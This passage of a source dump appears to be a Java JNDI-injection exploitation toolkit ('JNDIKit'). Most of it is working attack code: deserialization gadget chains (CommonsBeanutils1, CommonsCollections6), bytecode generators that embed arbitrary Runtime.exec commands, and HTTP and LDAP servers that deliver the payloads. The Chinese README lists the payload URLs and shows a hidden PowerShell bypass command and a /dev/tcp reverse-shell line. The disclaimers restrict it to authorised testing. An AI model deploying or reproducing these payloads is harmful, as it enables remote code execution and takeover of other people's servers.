ObjectOutputStream(outputStream); 41 | objectOutputStream.writeObject(hashSet); 42 | objectOutputStream.close(); 43 | byte[] data = outputStream.toByteArray(); 44 | outputStream.close(); 45 | return data; 46 | } catch (Exception e) { 47 | e.printStackTrace(); 48 | } 49 | return null; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/CB1.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 5 | import org.apache.commons.beanutils.BeanComparator; 6 | 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.ObjectOutputStream; 9 | import java.lang.reflect.Field; 10 | import java.util.PriorityQueue; 11 | 12 | @SuppressWarnings("all") 13 | public class CB1 { 14 | public static byte[] getPayload(String cmd) { 15 | try { 16 | byte[] code = Generator.getBytesCode(cmd); 17 | TemplatesImpl templates = new TemplatesImpl(); 18 | setFieldValue(templates, "_bytecodes", new byte[][]{code}); 19 | setFieldValue(templates, "_name", "HelloTemplatesImpl"); 20 | setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); 21 | 22 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 23 | final PriorityQueue queue = new PriorityQueue(2, comparator); 24 | queue.add("1"); 25 | queue.add("1"); 26 | setFieldValue(comparator, "property", "outputProperties"); 27 | setFieldValue(queue, "queue", new Object[]{templates, templates}); 28 | ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); 29 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); 30 | objectOutputStream.writeObject(queue); 31 | objectOutputStream.close(); 32 | byte[] data = outputStream.toByteArray(); 33 | outputStream.close(); 34 | return data; 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | return null; 39 | } 40 | 41 | private static void setFieldValue(Object object, String fieldName, Object value) { 42 | try { 43 | Field field = object.getClass().getDeclaredField(fieldName); 44 | field.setAccessible(true); 45 | field.set(object, value); 46 | } catch (Exception e) { 47 | e.printStackTrace(); 48 | } 49 | } 50 | 51 | private static Object getFieldValue(Object object, String fieldName) { 52 | try { 53 | Field field = object.getClass().getDeclaredField(fieldName); 54 | field.setAccessible(true); 55 | return field.get(object); 56 | } catch (Exception e) { 57 | e.printStackTrace(); 58 | return null; 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/main/java/org/sec/core/http/CommandHandler.java: -------------------------------------------------------------------------------- 1 | package org.sec.core.http; 2 | 3 | import com.sun.net.httpserver.HttpExchange; 4 | import com.sun.net.httpserver.HttpHandler; 5 | import org.objectweb.asm.ClassWriter; 6 | import org.objectweb.asm.Label; 7 | import org.objectweb.asm.MethodVisitor; 8 | 9 | import java.io.IOException; 10 | import java.io.OutputStream; 11 | 12 | import static org.objectweb.asm.Opcodes.*; 13 | 14 | @SuppressWarnings("all") 15 | public class CommandHandler implements HttpHandler { 16 | private final String cmd; 17 | private final String className; 18 | 19 | public CommandHandler(String cmd, String className) { 20 | this.cmd = cmd; 21 | this.className = className; 22 | } 23 | 24 | @Override 25 | public void handle(HttpExchange exchange) throws IOException { 26 | ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 27 | MethodVisitor methodVisitor; 28 | classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, className, null, 29 | "java/lang/Object", null); 30 | methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "", "()V", 31 | null, null); 32 | methodVisitor.visitCode(); 33 | methodVisitor.visitVarInsn(ALOAD, 0); 34 | methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "", 35 | "()V", false); 36 | methodVisitor.visitInsn(RETURN); 37 | methodVisitor.visitMaxs(1, 1); 38 | methodVisitor.visitEnd(); 39 | methodVisitor = classWriter.visitMethod(ACC_STATIC, "", "()V", 40 | null, null); 41 | methodVisitor.visitCode(); 42 | Label label0 = new Label(); 43 | Label label1 = new Label(); 44 | Label label2 = new Label(); 45 | methodVisitor.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception"); 46 | methodVisitor.visitLabel(label0); 47 | methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", 48 | "()Ljava/lang/Runtime;", false); 49 | methodVisitor.visitLdcInsn(cmd); 50 | methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", 51 | "(Ljava/lang/String;)Ljava/lang/Process;", false); 52 | methodVisitor.visitInsn(POP); 53 | methodVisitor.visitLabel(label1); 54 | Label label3 = new Label(); 55 | methodVisitor.visitJumpInsn(GOTO, label3); 56 | methodVisitor.visitLabel(label2); 57 | methodVisitor.visitVarInsn(ASTORE, 0); 58 | methodVisitor.visitVarInsn(ALOAD, 0); 59 | methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", 60 | "printStackTrace", "()V", false); 61 | methodVisitor.visitLabel(label3); 62 | methodVisitor.visitInsn(RETURN); 63 | methodVisitor.visitMaxs(2, 1); 64 | methodVisitor.visitEnd(); 65 | 66 | classWriter.visitEnd(); 67 | byte[] data = classWriter.toByteArray(); 68 | exchange.sendResponseHeaders(200, 0); 69 | OutputStream os = exchange.getResponseBody(); 70 | os.write(data); 71 | os.close(); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/org/sec/payload/Generator.java: -------------------------------------------------------------------------------- 1 | package org.sec.payload; 2 | 3 | import org.objectweb.asm.*; 4 | 5 | import static org.objectweb.asm.Opcodes.*; 6 | 7 | @SuppressWarnings("all") 8 | public class Generator { 9 | public static byte[] getBytesCode(String cmd) { 10 | ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 11 | MethodVisitor methodVisitor; 12 | classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/PrivateShellInject", 13 | null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", 14 | null); 15 | methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "", "()V", 16 | null, null); 17 | methodVisitor.visitCode(); 18 | methodVisitor.visitVarInsn(ALOAD, 0); 19 | methodVisitor.visitMethodInsn(INVOKESPECIAL, 20 | "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", 21 | "", "()V", false); 22 | methodVisitor.visitInsn(RETURN); 23 | methodVisitor.visitMaxs(1, 1); 24 | methodVisitor.visitEnd(); 25 | 26 | methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "transform", 27 | "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/" + 28 | "internal/serializer/SerializationHandler;)V", null, 29 | new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); 30 | methodVisitor.visitCode(); 31 | methodVisitor.visitInsn(RETURN); 32 | methodVisitor.visitMaxs(0, 3); 33 | methodVisitor.visitEnd(); 34 | 35 | methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "transform", 36 | "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/" + 37 | "internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/" + 38 | "internal/serializer/SerializationHandler;)V", 39 | null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); 40 | methodVisitor.visitCode(); 41 | methodVisitor.visitInsn(RETURN); 42 | methodVisitor.visitMaxs(0, 4); 43 | methodVisitor.visitEnd(); 44 | 45 | methodVisitor = classWriter.visitMethod(ACC_STATIC, "", 46 | "()V", null, null); 47 | methodVisitor.visitCode(); 48 | Label label0 = new Label(); 49 | Label label1 = new Label(); 50 | Label label2 = new Label(); 51 | methodVisitor.visitTryCatchBlock(label0, label1, label2, "java/io/IOException"); 52 | methodVisitor.visitLabel(label0); 53 | methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", 54 | "getRuntime", "()Ljava/lang/Runtime;", false); 55 | methodVisitor.visitLdcInsn(cmd); 56 | methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", 57 | "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); 58 | methodVisitor.visitInsn(POP); 59 | methodVisitor.visitLabel(label1); 60 | Label label3 = new Label(); 61 | methodVisitor.visitJumpInsn(GOTO, label3); 62 | methodVisitor.visitLabel(label2); 63 | methodVisitor.visitVarInsn(ASTORE, 0); 64 | methodVisitor.visitVarInsn(ALOAD, 0); 65 | methodVisitor.visitMethodInsn(INVOKEVIRTUAL, 66 | "java/io/IOException", "printStackTrace", "()V", false); 67 | methodVisitor.visitLabel(label3); 68 | methodVisitor.visitInsn(RETURN); 69 | methodVisitor.visitMaxs(2, 1); 70 | methodVisitor.visitEnd(); 71 | classWriter.visitEnd(); 72 | return classWriter.toByteArray(); 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.sec 8 | JNDIKit 9 | 1.0 10 | 11 | 12 | 8 13 | 8 14 | 15 | UTF-8 16 | 17 | true 18 | 19 | 20 | 21 | 22 | com.beust 23 | jcommander 24 | 1.81 25 | 26 | 27 | de.vandermeer 28 | asciitable 29 | 0.3.2 30 | 31 | 32 | 33 | commons-collections 34 | commons-collections 35 | 3.1 36 | 37 | 38 | org.apache.tomcat.embed 39 | tomcat-embed-core 40 | 8.5.61 41 | 42 | 43 | org.apache.tomcat.embed 44 | tomcat-embed-el 45 | 8.5.45 46 | 47 | 48 | commons-beanutils 49 | commons-beanutils 50 | 1.8.3 51 | 52 | 53 | log4j 54 | log4j 55 | 1.2.17 56 | 57 | 58 | org.ow2.asm 59 | asm 60 | 9.2 61 | 62 | 63 | org.ow2.asm 64 | asm-commons 65 | 9.2 66 | 67 | 68 | com.unboundid 69 | unboundid-ldapsdk 70 | 6.0.3 71 | 72 | 73 | 74 | 75 | 76 | 77 | maven-assembly-plugin 78 | 79 | false 80 | 81 | jar-with-dependencies 82 | 83 | 84 | 85 | org.sec.Main 86 | 87 | 88 | 89 | 90 | 91 | make-assembly 92 | package 93 | 94 | assembly 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JNDIKit 2 | 3 | ![](https://img.shields.io/badge/build-passing-brightgreen) 4 | ![](https://img.shields.io/badge/Java-8-red) 5 | 6 | **工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责** 7 | 8 | ## 介绍 9 | 10 | 一款简单的`JNDI`注入利用工具(自用) 11 | 12 | 并没有多少高级功能,主要是一些基本的功能,供安全研究使用 13 | 14 | 无需自行编译`Java`代码和开启`HTTP`服务,一切自动 15 | 16 | | Payload | 介绍 | 17 | |---------------------------------------|-------------------------------------------| 18 | | ldap://0.0.0.0:1389/SimpleCommand | 直接执行命令 | 19 | | ldap://0.0.0.0:1389/BashCommand | 使用bash并进行Base64编码执行命令 | 20 | | ldap://0.0.0.0:1389/PowershellCommand | 使用powershell并进行Base64编码执行命令 | 21 | | ldap://0.0.0.0:1389/CC6 | 使用CommonsCollections6绕过高版本JDK | 22 | | ldap://0.0.0.0:1389/BashCC6 | 使用CommonsCollections6绕过高版本JDK(bash) | 23 | | ldap://0.0.0.0:1389/PowershellCC6 | 使用CommonsCollections6绕过高版本JDK(powershell) | 24 | | ldap://0.0.0.0:1389/CB1 | 使用CommonBeanUtils1绕过高版本JDK | 25 | | ldap://0.0.0.0:1389/BashCB1 | 使用CommonBeanUtils1绕过高版本JDK(bash) | 26 | | ldap://0.0.0.0:1389/PowershellCB1 | 使用CommonBeanUtils1绕过高版本JDK(powershell) | 27 | | ldap://0.0.0.0:1389/Tomcat | 使用Tomcat ELProcessor绕过高版本JDK | 28 | | ldap://0.0.0.0:1389/BashTomcat | 使用Tomcat ELProcessor绕过高版本JDK(bash) | 29 | | ldap://0.0.0.0:1389/PowershellTomcat | 使用Tomcat ELProcessor绕过高版本JDK(powershell) | 30 | 31 | 支持三种格式的`RCE` 32 | - 直接执行:`Runtime.getRuntime.exec(command);` 33 | - 使用`bash`并编码:`bash -c {echo,[Payload]}|{base64,-d}|{bash,-i}` 34 | - 使用`powershell`并编码:`powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc [Payload]` 35 | 36 | 为什么需要对命令进行特殊处理: 37 | 38 | 例如`linux`下执行反弹`shell`命令会失败:`bash -i >& /dev/tcp/x.x.x.x/port 0>&1` 39 | 40 | 因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义,所以需要进行特殊处理 41 | 42 | 支持一些绕过高版本`JDK`的方式(同样支持三种格式的`RCE`) 43 | 44 | - 打本地`gadget`的`CB1`和`CC6`链 45 | - 利用`Tomcat ELProcessor`的绕过 46 | 47 | ## 使用 48 | 49 | 命令:`java -jar JNDIKit.jar --cmd calc.exe` 50 | 51 | ```text 52 | ___ ________ ________ ___ ___ __ ___ _________ 53 | |\ \|\ ___ \|\ ___ \|\ \|\ \|\ \ |\ \|\___ ___\ 54 | \ \ \ \ \\ \ \ \ \_|\ \ \ \ \ \/ /|\ \ \|___ \ \_| 55 | __ \ \ \ \ \\ \ \ \ \ \\ \ \ \ \ ___ \ \ \ \ \ \ 56 | |\ \\_\ \ \ \\ \ \ \ \_\\ \ \ \ \ \\ \ \ \ \ \ \ \ 57 | \ \________\ \__\\ \__\ \_______\ \__\ \__\\ \__\ \__\ \ \__\ 58 | \|________|\|__| \|__|\|_______|\|__|\|__| \|__|\|__| \|__| 59 | 20:31:33 [INFO] [org.sec.Main] start jndi kit 60 | 20:31:33 [INFO] [org.sec.Main] cmd: calc.exe 61 | 20:31:33 [INFO] [org.sec.core.http.HttpServer] start http server: 0.0.0.0:8000 62 | 20:31:33 [INFO] [org.sec.core.ldap.LdapServer] start ldap server: 0.0.0.0:1389 63 | ┌─────────────────────────────────────┬────────────────────────────────────────────────────┐ 64 | │LDAP Payload │Introduce │ 65 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 66 | │ldap://0.0.0.0:1389/SimpleCommand │Simple RCE │ 67 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 68 | │ldap://0.0.0.0:1389/BashCommand │Simple RCE Use Bash │ 69 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 70 | │ldap://0.0.0.0:1389/PowershellCommand│Simple RCE Use Powershell │ 71 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 72 | │ldap://0.0.0.0:1389/CC6 │RCE Use CC6 Payload (Simple) │ 73 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 74 | │ldap://0.0.0.0:1389/BashCC6 │RCE Use CC6 Payload (Bash) │ 75 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 76 | │ldap://0.0.0.0:1389/PowershellCC6 │RCE Use CC6 Payload (Powershell) │ 77 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 78 | │ldap://0.0.0.0:1389/CB1 │RCE Use CB1 Payload (Simple) │ 79 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 80 | │ldap://0.0.0.0:1389/BashCB1 │RCE Use CB1 Payload (Bash) │ 81 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 82 | │ldap://0.0.0.0:1389/PowershellCB1 │RCE Use CB1 Payload (Powershell) │ 83 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 84 | │ldap://0.0.0.0:1389/Tomcat │Use Tomcat ELProcessor Bypass JDK 8u191 (Simple) │ 85 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 86 | │ldap://0.0.0.0:1389/BashTomcat │Use Tomcat ELProcessor Bypass JDK 8u191 (Bash) │ 87 | ├─────────────────────────────────────┼────────────────────────────────────────────────────┤ 88 | │ldap://0.0.0.0:1389/PowershellTomcat │Use Tomcat ELProcessor Bypass JDK 8u191 (Powershell)│ 89 | └─────────────────────────────────────┴────────────────────────────────────────────────────┘ 90 | ``` 91 | 92 | 如果端口冲突可自行配置端口 93 | 94 | 命令:`java -jar JNDIKit.jar --cmd calc.exe --lp 1390 --hp 8001` 95 | 96 | 接收到请求会实时打印 97 | 98 | ```text 99 | 20:53:21 [INFO] [org.sec.core.ldap.LdapServer] Accept 127.0.0.1 -----> SimpleCommand 100 | 20:53:30 [INFO] [org.sec.core.ldap.LdapServer] Accept 127.0.0.1 -----> PowershellCommand 101 | 20:53:42 [INFO] [org.sec.core.ldap.LdapServer] Accept 127.0.0.1 -----> PowershellCC6 102 | 20:53:51 [INFO] [org.sec.core.ldap.LdapServer] Accept 127.0.0.1 -----> PowershellTomcat 103 | ``` 104 | 105 | ## 免责申明 106 | 107 | **未经授权许可使用`JNDIKit`攻击目标是非法的** 108 | 109 | **本程序应仅用于授权的安全测试与研究目的** 110 | 111 | 112 | -------------------------------------------------------------------------------- /src/main/java/org/sec/core/ldap/LdapServer.java: -------------------------------------------------------------------------------- 1 | package org.sec.core.ldap; 2 | 3 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 4 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 5 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 6 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 8 | import de.vandermeer.asciitable.AsciiTable; 9 | import de.vandermeer.asciitable.CWC_LongestLine; 10 | import de.vandermeer.asciitable.CWC_LongestWordMax; 11 | import de.vandermeer.skb.interfaces.transformers.textformat.TextAlignment; 12 | import org.apache.log4j.LogManager; 13 | import org.apache.log4j.Logger; 14 | import org.sec.Config; 15 | import org.sec.util.ClassUtil; 16 | 17 | import javax.net.ServerSocketFactory; 18 | import javax.net.SocketFactory; 19 | import javax.net.ssl.SSLSocketFactory; 20 | import java.lang.reflect.Constructor; 21 | import java.net.InetAddress; 22 | import java.util.*; 23 | 24 | public class LdapServer extends InMemoryOperationInterceptor { 25 | private static final Logger logger = LogManager.getLogger(LdapServer.class); 26 | private static final String LDAP_BASE = "dc=example,dc=com"; 27 | private static final Map routes = new HashMap<>(); 28 | 29 | public static void start(int port) { 30 | try { 31 | logger.info("start ldap server: 0.0.0.0:" + port); 32 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 33 | config.setListenerConfigs(new InMemoryListenerConfig( 34 | "listen", 35 | InetAddress.getByName("0.0.0.0"), 36 | port, 37 | ServerSocketFactory.getDefault(), 38 | SocketFactory.getDefault(), 39 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 40 | config.addInMemoryOperationInterceptor(new LdapServer()); 41 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 42 | ds.startListening(); 43 | } catch (Exception e) { 44 | e.printStackTrace(); 45 | } 46 | } 47 | 48 | public LdapServer() throws Exception { 49 | String[] split = this.getClass().getPackage().getName().split("\\."); 50 | StringBuilder packageBuilder = new StringBuilder(); 51 | for (int i = 0; i < split.length - 1; i++) { 52 | if (i < split.length - 2) { 53 | packageBuilder.append(split[i]); 54 | packageBuilder.append("."); 55 | } else { 56 | packageBuilder.append("controller"); 57 | } 58 | } 59 | String packageName = packageBuilder.toString(); 60 | List> controllers = ClassUtil.getClassesInPackage(packageName); 61 | 62 | AsciiTable table = new AsciiTable(); 63 | 64 | table.addRule(); 65 | table.addRow(Arrays.asList("LDAP Payload", "Introduce")); 66 | 67 | Map data = new HashMap<>(); 68 | String ldapURI = String.format("ldap://%s:%s/", "0.0.0.0", Config.ldapPort); 69 | for (Class controller : controllers) { 70 | Constructor cons = controller.getConstructor(); 71 | LdapController instance = (LdapController) cons.newInstance(); 72 | String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); 73 | for (String mapping : mappings) { 74 | if (mapping.startsWith("/")) { 75 | mapping = mapping.substring(1); 76 | } 77 | data.put(mapping,instance); 78 | routes.put(mapping, instance); 79 | } 80 | } 81 | table.addRule(); 82 | table.addRow(Arrays.asList(ldapURI+"SimpleCommand",data.get("SimpleCommand").getInfo())); 83 | table.addRule(); 84 | table.addRow(Arrays.asList(ldapURI+"BashCommand",data.get("BashCommand").getInfo())); 85 | table.addRule(); 86 | table.addRow(Arrays.asList(ldapURI+"PowershellCommand",data.get("PowershellCommand").getInfo())); 87 | table.addRule(); 88 | table.addRow(Arrays.asList(ldapURI+"CC6",data.get("CC6").getInfo())); 89 | table.addRule(); 90 | table.addRow(Arrays.asList(ldapURI+"BashCC6",data.get("BashCC6").getInfo())); 91 | table.addRule(); 92 | table.addRow(Arrays.asList(ldapURI+"PowershellCC6",data.get("PowershellCC6").getInfo())); 93 | table.addRule(); 94 | table.addRow(Arrays.asList(ldapURI+"CB1",data.get("CB1").getInfo())); 95 | table.addRule(); 96 | table.addRow(Arrays.asList(ldapURI+"BashCB1",data.get("BashCB1").getInfo())); 97 | table.addRule(); 98 | table.addRow(Arrays.asList(ldapURI+"PowershellCB1",data.get("PowershellCB1").getInfo())); 99 | table.addRule(); 100 | table.addRow(Arrays.asList(ldapURI+"Tomcat",data.get("Tomcat").getInfo())); 101 | table.addRule(); 102 | table.addRow(Arrays.asList(ldapURI+"BashTomcat",data.get("BashTomcat").getInfo())); 103 | table.addRule(); 104 | table.addRow(Arrays.asList(ldapURI+"PowershellTomcat",data.get("PowershellTomcat").getInfo())); 105 | table.addRule(); 106 | table.getRenderer().setCWC(new CWC_LongestLine()); 107 | String rend = table.render(); 108 | System.out.println(rend); 109 | } 110 | 111 | @Override 112 | public void processSearchResult(InMemoryInterceptedSearchResult result) { 113 | String base = result.getRequest().getBaseDN(); 114 | LdapController controller = null; 115 | for (String key : routes.keySet()) { 116 | if (key.equals(base)) { 117 | controller = routes.get(key); 118 | break; 119 | } 120 | } 121 | try { 122 | if (controller != null) { 123 | String output = "Accept " + result.getConnectedAddress() + " -----> " + base; 124 | logger.info(output); 125 | controller.sendResult(result, base); 126 | } 127 | } catch (Exception ignored) { 128 | } 129 | } 130 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 